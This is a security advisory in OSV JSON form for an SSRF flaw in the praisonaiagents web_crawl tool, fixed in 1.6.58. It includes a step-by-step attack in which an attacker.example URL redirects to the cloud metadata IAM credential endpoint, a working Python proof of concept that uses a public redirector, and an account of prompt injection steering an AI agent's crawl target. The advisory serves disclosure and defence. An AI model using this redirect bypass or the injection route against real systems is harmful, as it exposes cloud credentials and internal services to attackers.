{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:05:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`web_crawl` (an exported, model-callable tool) validates only the INITIAL URL\u0027s resolved IP against a private/loopback blocklist, then fetches with `httpx.Client(follow_redirects=True)` and never re-validates redirect targets. \n\nAn attacker who controls the agent\u0027s crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata `169.254.169.254`, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock `pip install praisonaiagents`, so no provider configuration is required.\n\n\n### Details\n\n1. The agent is asked (or prompt-injected) to crawl `https://attacker.example/r`, which the source accepts because `attacker.example` resolves to a public IP.\n2. The attacker server responds 302 Location: `http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e`. \n3. `_crawl_with_httpx` follows the redirect with `follow_redirects=True`, fetches the IAM credential document, and `web_crawl` returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response. \n\nThe same technique reaches `http://127.0.0.1:\u003cport\u003e/` internal services and other link-local and RFC1918 hosts\n\n**Source (validates only the initial hostname)**\n```python\n# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231\n\nip_str = socket.gethostbyname(hostname)\nip = ipaddress.ip_address(ip_str)\nif ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:\n    logger.warning(f\"Rejected SSRF or private IP attempt: {u}\")\n    continue\n```\n\n\n**Sink (follows redirects with no re-validation)**\n```python\n# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142\n\nimport httpx\nwith httpx.Client(follow_redirects=True, timeout=30.0) as client:\n       response = client.get(url)\n       response.raise_for_status()\n       content = response.text\n```\n\n### PoC\nDependencies: `pip install praisonaiagents==1.6.52` `httpx`\n\nPreconditions:\n- The agent has the `web_crawl` tool registered, which is a standard exported tool. \n- The default crawl provider `httpx` is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install). \n- `ALLOW_LOCAL_CRAWL` is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass. \n- The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).\n\n```python\n\"\"\"Direct loopback is blocked; a public redirector to loopback is not.\"\"\"\nimport http.server, json, socket, threading, urllib.parse\nfrom praisonaiagents.tools import web_crawl\n\nSECRET = \"INTERNAL-ONLY-IAM-CREDENTIAL-zzz\"\n\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())\n    def log_message(self, *a): pass\n\ns = socket.socket(); s.bind((\"127.0.0.1\", 0)); port = s.getsockname()[1]; s.close()\nsrv = http.server.HTTPServer((\"127.0.0.1\", port), H)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\ninternal = f\"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/\"\n\ncontrol = web_crawl(internal)                       # front-door blocks loopback\nleaked = lambda r: SECRET in json.dumps(r)\nredirector = \"https://httpbin.org/redirect-to?\" + urllib.parse.urlencode(\n    {\"url\": internal, \"status_code\": \"302\"})        # public host -\u003e 302 -\u003e internal\nexploit = web_crawl(redirector)\nsrv.shutdown()\nprint(\"control_leaked\", leaked(control), \"| exploit_leaked\", leaked(exploit))\nassert not leaked(control) and leaked(exploit)\nprint(\"CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed\")\n```\n\n### Impact\nAny attacker who can influence an agent\u0027s crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host\u0027s cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier web_crawl advisories added is fully enabled and still bypassed.",
  "id": "GHSA-5r34-2g38-6569",
  "modified": "2026-08-25T14:05:38Z",
  "published": "2026-08-25T14:05:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5r34-2g38-6569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonaiagents web_crawl vulnerable to SSRF via redirect-following"
}